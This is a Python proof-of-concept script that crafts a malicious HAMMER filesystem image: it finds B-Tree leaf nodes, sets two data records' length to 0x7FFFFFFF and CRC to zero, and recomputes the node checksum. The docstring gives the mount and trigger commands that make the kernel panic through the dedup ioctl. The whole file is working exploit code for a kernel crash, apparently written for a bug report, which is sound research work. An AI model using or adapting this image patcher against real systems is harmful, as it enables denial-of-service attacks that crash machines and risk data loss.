#!/usr/bin/env python3
"""
DF-0929 PoC image patcher.

Locates the HAMMER B-Tree leaf node in a (small, freshly-formatted) V6
HAMMER image, finds the first two DATA-record leaf elements (rec_type=0x10),
sets their data_len to 0x7FFFFFFF and their data_crc to 0, and recomputes
the B-Tree node CRC (crc32 for V6 images, which is what the kernel uses
for vol_version <= 6).

The patched leaves still live in zone LARGE_DATA (data_offset starts with
0xa0...), so the dedup path's zone check at hammer_dedup.c:92 passes.
hammer_btree_extract() then loads the leaf and, in hammer_btree.c:736, the
KKASSERT(data_len >= 0 && data_len <= HAMMER_XBUFSIZE) fires on INVARIANTS
kernels (default X86_64_GENERIC), reproducing the bug as a kernel panic.

Build of the trigger:
    cc -o trigger trigger.c
Run:
    vnconfig -c vn1 evil.img
    mount_hammer /dev/vn1 /mnt/test
    ./trigger /mnt/test
"""
import sys
import struct
import zlib

HAMMER_BUFSIZE = 16384
BTREE_NODE_SIZE = 4096           # struct hammer_node_ondisk
BTREE_TYPE_LEAF = ord('L')       # 0x4C
HAMMER_RECTYPE_DATA = 0x0010
HAMMER_RECTYPE_INODE = 0x0001
BAD_DATA_LEN = 0x7FFFFFFF

def find_btree_leaf_nodes(f):
    """Scan the image for B-Tree leaf nodes. Returns list of byte offsets."""
    nodes = []
    f.seek(0, 2)
    size = f.tell()
    # B-Tree nodes live in 16K buffers; the node itself is 4K and lives at
    # the start of its 16K buffer (for freshly-formatted images, the root
    # is the first node in the first btree-zone buffer).
    # node header: crc[4] reserved01[4] parent[8] count[4] type[1] ...
    # offset of `type` byte in the node = 4+4+8+4 = 20 = 0x14
    # offset of `count` = 4+4+8 = 16 = 0x10
    BUFSIZE = 1 << 20   # scan 1MB at a time
    off = 0
    while off + BTREE_NODE_SIZE <= size:
        f.seek(off)
        chunk = f.read(min(BUFSIZE, size - off))
        if not chunk:
            break
        # Inspect every 4K boundary inside the chunk.
        i = 0
        while i + BTREE_NODE_SIZE <= len(chunk):
            if chunk[i + 0x14] == BTREE_TYPE_LEAF:
                count = struct.unpack_from('<i', chunk, i + 0x10)[0]
                if 1 <= count <= 63:
                    elm0 = i + 64
                    btype0 = chunk[elm0 + 0x23]
                    if btype0 in (ord('R'), ord('L'), ord('I')):
                        nodes.append(off + i)
            i += BTREE_NODE_SIZE
        off += len(chunk) - (len(chunk) % BTREE_NODE_SIZE)
    return nodes

def patch_image(path_in, path_out):
    with open(path_in, 'rb') as f:
        nodes = find_btree_leaf_nodes(f)
        f.seek(0)
        # Read only what we need: the first node, plus write back via r+b.
    data_len = max(nodes) + BTREE_NODE_SIZE if nodes else 0
    with open(path_in, 'rb') as f:
        # Read entire file is too slow for 4GB sparse. Read up to data_len.
        f.seek(0)
        # We need the first node only. Read up to its end.
        first_node_end = nodes[0] + BTREE_NODE_SIZE if nodes else 0
        # Read whole prefix up to first_node_end.
        data = bytearray(first_node_end)
        f.readinto(data)
    # Now operate on this prefix. (We only patch nodes[0].)
    # Recompute the CRC and patch in memory.
    # (For the write step, we'll preserve everything else via copy.)

    nodes = find_btree_leaf_nodes(open(path_in, 'rb'))
    print(f"[+] found {len(nodes)} candidate B-Tree leaf node(s):")
    for n in nodes:
        print(f"    node @ 0x{n:x}")

    if not nodes:
        sys.exit("[-] no B-Tree leaf node found; bailing")

    # Re-read the first node bytes for parsing/patching.
    node_off = nodes[0]
    with open(path_in, 'rb') as f:
        f.seek(node_off)
        node_bytes = bytearray(f.read(BTREE_NODE_SIZE))
    data = node_bytes   # alias; data[node_off + x] -> shift to data[x]
    # Adjust the per-elm offsets to be relative to start of node.
    base = 0
    count = struct.unpack_from('<i', data, base + 0x10)[0]
    print(f"[+] node @ 0x{node_off:x}: count={count}")

    # data_len field offset within a leaf element:
    #   base(0x28) + create_ts(4) + delete_ts(4) + data_offset(8) = 0x38
    DATA_LEN_OFF = 0x38
    DATA_CRC_OFF = 0x3c
    DATA_OFFSET_OFF = 0x30   # data_offset field
    RECTYPE_OFF = 0x20       # base.rec_type (uint16)

    targets = []   # list of (elm_off, original_data_len, original_rec_type)
    for i in range(count):
        elm_off = 64 + i * 64
        btype = data[elm_off + 0x23]
        rec_type = struct.unpack_from('<H', data, elm_off + RECTYPE_OFF)[0]
        data_len = struct.unpack_from('<i', data, elm_off + DATA_LEN_OFF)[0]
        data_offset = struct.unpack_from('<Q', data, elm_off + DATA_OFFSET_OFF)[0]
        print(f"    elm[{i}] btype={chr(btype)} rec_type=0x{rec_type:04x} "
              f"data_len={data_len} data_offset=0x{data_offset:016x}")
        if btype == ord('R') and rec_type == HAMMER_RECTYPE_DATA and data_len > 0:
            targets.append(elm_off)

    if len(targets) < 2:
        sys.exit(f"[-] need >=2 DATA leaves; found {len(targets)}")

    # Patch the first two DATA-record leaves.
    patch_elms = targets[:2]
    for elm_off in patch_elms:
        old_len = struct.unpack_from('<i', data, elm_off + DATA_LEN_OFF)[0]
        old_crc = struct.unpack_from('<I', data, elm_off + DATA_CRC_OFF)[0]
        print(f"[+] patching elm @ 0x{elm_off:x}: data_len {old_len} -> "
              f"0x{BAD_DATA_LEN:x}, data_crc 0x{old_crc:08x} -> 0")
        struct.pack_into('<i', data, elm_off + DATA_LEN_OFF, BAD_DATA_LEN)
        struct.pack_into('<I', data, elm_off + DATA_CRC_OFF, 0)

    # Recompute B-Tree node CRC.  For V6 images, hammer_datacrc uses crc32.
    # HAMMER_BTREE_CRCSIZE = sizeof(node) - sizeof(crc) = 4096 - 4 = 4092.
    # CRC covers bytes [4 .. 4096) of the node.
    crc_region = bytes(data[4:BTREE_NODE_SIZE])
    new_crc = zlib.crc32(crc_region) & 0xFFFFFFFF
    print(f"[+] recomputed B-Tree node CRC: 0x{new_crc:08x}")
    struct.pack_into('<I', data, 0, new_crc)

    # Copy input -> output, then write the patched node bytes at node_off.
    import shutil
    shutil.copyfile(path_in, path_out)
    with open(path_out, 'r+b') as f:
        f.seek(node_off)
        f.write(data)
    print(f"[+] wrote patched image to {path_out}")

    # Also emit the base_elm keys for the two patched leaves so the trigger
    # can use them as elm1/elm2 for HAMMERIOC_DEDUP.
    print("[+] patched leaf base_elm keys (for trigger):")
    for elm_off in patch_elms:
        base_off = elm_off   # base is first member of leaf element union
        obj_id = struct.unpack_from('<q', data, base_off + 0)[0]
        key = struct.unpack_from('<q', data, base_off + 8)[0]
        create_tid = struct.unpack_from('<q', data, base_off + 0x10)[0]
        rec_type = struct.unpack_from('<H', data, base_off + 0x20)[0]
        obj_type = data[base_off + 0x22]
        btype = data[base_off + 0x23]
        localization = struct.unpack_from('<I', data, base_off + 0x24)[0]
        print(f"    obj_id=0x{obj_id:016x} key=0x{key:016x} "
              f"create_tid=0x{create_tid:016x} rec_type=0x{rec_type:04x} "
              f"obj_type=0x{obj_type:02x} btype=0x{btype:02x} "
              f"localization=0x{localization:08x}")

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("usage: patch_image.py <in.img> <out.img>")
        sys.exit(1)
    patch_image(sys.argv[1], sys.argv[2])